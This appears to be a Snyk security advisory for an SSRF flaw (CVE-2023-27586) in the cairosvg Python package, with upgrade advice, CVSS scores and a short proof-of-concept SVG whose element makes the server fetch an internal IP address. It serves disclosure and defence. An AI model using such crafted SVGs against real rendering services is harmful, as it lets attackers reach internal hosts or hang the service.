<p>Upgrade <code>CairoSVG</code> to version 2.7.0 or higher.</p>

Server-side Request Forgery (SSRF) Affecting cairosvg package, versions [,2.7.0)

Threat Intelligence

Proof of concept

0.08% (35^th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk ID SNYK-PYTHON-CAIROSVG-3366799
published 21 Mar 2023
disclosed 20 Mar 2023
credit Sukhov Mikhail

Report a new vulnerability Found a mistake?

Introduced: 20 Mar 2023

CVE-2023-27586 Open this link in a new tab CWE-918 Open this link in a new tab

How to fix?

Upgrade CairoSVG to version 2.7.0 or higher.

Overview

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) when processing an SVG file that loads an external resource from a URL. Attackers can exploit this to access files on the server, or cause the service to hang waiting for a response to an invalid file request. This is exploitable whether or not the optional unsafe option is enabled.

PoC

<?xml version="1.0" standalone="yes"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <use href="http://192.168.56.1:1234/" />
</svg>

References

CVSS Scores

version 3.1

Attack Vector (AV)

Network
Attack Complexity (AC)

Low
Privileges Required (PR)

None
User Interaction (UI)

None

Scope (S)

Unchanged

Confidentiality (C)

Low
Integrity (I)

High
Availability (A)

Low